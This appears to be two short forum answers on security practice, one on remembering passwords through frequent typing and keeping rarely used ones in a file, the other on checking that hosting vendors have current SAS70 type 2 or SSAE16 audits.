If you really want to remember passwords, with your brain, then my advice would be to force yourself to type them often, at least daily. Fingers are better than brain cells at this kind of job (it is called muscle memory). Of course, this is not practical for Web passwords "at large". What you can do is split your passwords in two categories:

the passwords which you use very often, and store in your brain;
the passwords which you use rarely, and store in a file.

(Various storage systems exist, but a plain file can be secure enough, if you do it properly; again, see the previous response I link to.)


Recommendations for hosting highly sensitive data

You will want to make sure that all associated vendors have either a SAS70 type 2 or SSAE16 that is up to date. This should provide you with a list of the physical and technical security controls in place, and their effectiveness.